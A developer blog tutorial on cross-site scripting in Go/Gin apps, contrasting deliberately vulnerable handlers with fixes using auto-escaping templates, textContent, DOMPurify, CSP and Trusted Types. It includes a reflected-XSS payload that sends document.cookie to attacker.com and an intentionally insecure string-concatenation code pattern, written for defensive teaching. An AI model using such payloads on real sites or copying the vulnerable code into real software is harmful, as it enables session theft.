Mahdi Shamlou here.
Mahdi, okay fine — you got me with NoSQL injection last time ( read that story here ). But my site is definitely safe from XSS now. I sanitize all inputs on the backend in Go, I use strict validation, and I even have a WAF. It's impossible to hack.
I smiled. Then I asked for his URL — again.
Within 3 minutes, I popped an alert(document.cookie) on his profile page. Then I upgraded it to silently exfiltrate his session token to my server. His face went pale. Again.
Moral of the story: "I sanitize input on the backend" does NOT mean "I'm XSS-proof". XSS isn't about input — it's about output. If you render untrusted data into HTML, JavaScript, CSS, or URLs without proper context-aware encoding, you're vulnerable — no matter your stack, no matter your sanitization.
In this guide, I'll show you:
- How I stole my friend's session with a 1-line XSS payload (and how to fix it in Go/Gin)
- The 3 main XSS types — with real Go (Gin) code examples
- Why even careful backend sanitization can fail against DOM-based XSS
- Content Security Policy, DOMPurify, and Trusted Types — what actually works
- Actual Go code fixes + tools to find these bugs automatically
Let's dive in.
🔗 Missed the NoSQL injection takedown? Read it here:
➡️ Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them
What Is XSS, Really?
Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.
The browser executes the code as if it came from the trusted site itself — because technically, it did. The root cause? Untrusted data is rendered into the page without proper encoding or sanitization.
XSS isn't about "hacking the server". It's about hacking the user's browser — and using that trust to steal cookies, redirect users, log keystrokes, or even take over accounts.
OWASP ranks XSS as a permanent member of the Top 10 (A03 in 2026, but historically A07). And it’s still everywhere — even on sites with “strict backend validation”.
Let’s break down the three flavours using only Go/Gin.
The 3 Main XSS Types (With Go/Gin Examples)
Reflected XSS — The “Click This Link” Attack
How it happens:
User input is immediately reflected back in the server’s response without encoding. Attackers craft a malicious link and trick victims into clicking it.
Vulnerable Go (Gin) code:
package main
import "github.com/gin-gonic/gin"
func main() {
r := gin.Default()
r.GET("/search", func(c *gin.Context) {
q := c.Query("q")
// 🚨 DANGER: raw string concatenation into HTML
html := "<h1>Search results for: " + q + "</h1>"
c.Data(200, "text/html", []byte(html))
})
r.Run()
}
Attacker payload:
/search?q=fetch('<a href="https://attacker.com/steal?cookie='+document.cookie">https://attacker.com/steal?cookie='+document.cookie</a>)
Result:
The victim’s browser executes the script and sends their session cookie to the attacker.
Fix — Use Gin’s template engine (auto‑escaping):
r.GET("/search-safe", func(c *gin.Context) {
q := c.Query("q")
// templates/search.tmpl: <h1>Search results for: {{ .Q }}</h1>
c.HTML(200, "search.tmpl", gin.H{"Q": q})
})
Go’s html/template automatically escapes &, <, >, ', " and is context‑aware.
Stored XSS — The Silent Killer
How it happens:
Malicious input is saved in the database and later displayed to other users. Think comment sections, user profiles, or forum posts.
Vulnerable Go (Gin + MongoDB) code:
r.POST("/comment", func(c *gin.Context) {
var cmt struct{ Username, Text string }
c.BindJSON(&cmt)
db.Collection("comments").InsertOne(ctx, cmt) // stored raw
})
r.GET("/comments", func(c *gin.Context) {
var comments []struct{ Username, Text string }
db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
html := "<ul>"
for _, cmt := range comments {
// 🚨 dangerous concatenation
html += "<li><b>" + cmt.Username + "</b>: " + cmt.Text + "</li>"
}
html += "</ul>"
c.Data(200, "text/html", []byte(html))
})
Attacker posts:
{ "username": "hacker", "text": "alert('XSS')" }
Every visitor to /comments gets the payload executed.
Fix — Encode on output using Go templates:
// comments.tmpl:
// <ul>{{range .}}<li><b>{{.Username}}</b>: {{.Text}}</li>{{end}}</ul>
r.GET("/comments-safe", func(c *gin.Context) {
var comments []Comment
db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
c.HTML(200, "comments.tmpl", gin.H{"Comments": comments})
})
Key lesson: Stored XSS proves that “sanitizing input on the backend” is a myth. You must encode on output, based on the context (HTML, attribute, JavaScript, etc.).
DOM‑Based XSS — The Frontend Betrayal
How it happens:
The vulnerability exists entirely in client‑side JavaScript. The server may be completely innocent — it sends safe HTML, but the frontend code unsafely manipulates the DOM using attacker‑controlled data (like location.hash or URL parameters).
Vulnerable Go/Gin serving an HTML file:
r.Static("/static", "./static")
r.GET("/profile", func(c *gin.Context) {
c.HTML(200, "profile.tmpl", nil)
})
And inside profile.tmpl (no backend sanitisation can help here):
<script>
let name = new URLSearchParams(location.search).get('name');
// 🚨 dangerous innerHTML
document.getElementById('welcome').innerHTML = 'Hello, ' + name;
</script>
Attacker payload:
/profile?name=
Fix — Use safe DOM APIs (still inside Go template):
<script>
let name = new URLSearchParams(location.search).get('name');
// ✅ use textContent
document.getElementById('welcome').textContent = 'Hello, ' + name;
</script>
Or sanitise with DOMPurify (add the library in your static files):
<script src="/static/purify.min.js"></script>
<script>
let name = new URLSearchParams(location.search).get('name');
let clean = DOMPurify.sanitize(name, {ALLOWED_TAGS: []});
document.getElementById('welcome').innerHTML = clean;
</script>
DOM‑based XSS is why scanning your frontend code for innerHTML, document.write, or eval() is critical. No amount of server‑side filtering can stop it.
Why “Backend Sanitization” Fails
My friend in the story used Go, strict validation, and a WAF. But DOM‑based XSS bypassed all of it.
The only reliable prevention:
Context‑aware output encoding on the rendering layer (HTML, JS, URL, CSS), plus a Content Security Policy (CSP) as a second line of defence.
Content Security Policy (CSP) + Trusted Types — Your Safety Net
Even if an XSS bug exists, CSP can block the malicious script from executing. And Trusted Types makes it impossible to write unsafe DOM injection code in the first place — a type‑safe approach to XSS prevention.
Set CSP Header in Gin Middleware
func CSP() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("Content-Security-Policy",
"default-src 'self'; " +
"script-src 'nonce-abc123' 'strict-dynamic'; " +
"require-trusted-types-for 'script'; " +
"trusted-types myPolicy")
c.Next()
}
}
r.Use(CSP())
What this CSP does:
- default-src 'self' – only allow resources from the same origin.
- script-src 'nonce-abc123' 'strict-dynamic' – only execute scripts with a matching nonce (prevents inline script injection).
- require-trusted-types-for 'script' – enforces Trusted Types: the browser will reject any string passed to an injection sink (innerHTML, outerHTML, document.write, etc.).
- trusted-types myPolicy – allows only policies named myPolicy to create trusted HTML.
Trusted Types — Type‑Safe DOM Injection
With Trusted Types enabled, this code throws an error:
// 🚨 Browser blocks this (TypeError)
element.innerHTML = userInput;
Instead, you must create a trusted type using a policy:
// Create a policy (once, usually in your main.js)
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (input) => {
// Sanitize or safely encode here
return DOMPurify.sanitize(input);
}
});
// ✅ Safe: browser accepts because it's a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);
Why Trusted Types wins:
- Type safety – the browser enforces that only trusted objects reach dangerous functions.
- No forgetting – you can’t accidentally write innerHTML = x without a policy.
- Backwards compatible – unsupported browsers ignore the header.
Hands‑On Practice (Don’t Just Read)
- PortSwigger XSS Labs — Reflected, Stored, DOM, and advanced bypasses.
- OWASP Juice Shop — XSS challenges in a realistic web app.
- XSS Game (Google) — Six fun levels for beginners.
Remember: Use isolated Docker or VMs for testing. XSS payloads can still be destructive (e.g., stealing cookies, defacing pages).
Want More?
If you enjoyed this deep dive into XSS, check out my other articles:
- Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — The story that started it all.
- OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes. — Full list with code
- What Is a Sandbox? How to Safely Run Any Unknown .exe — Essential for security testing.
🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/
Author: Mahdi Shamlou | مهدی شاملو


Top comments (2)
Thanks Mahdi! This is exactly what I needed.
You welcome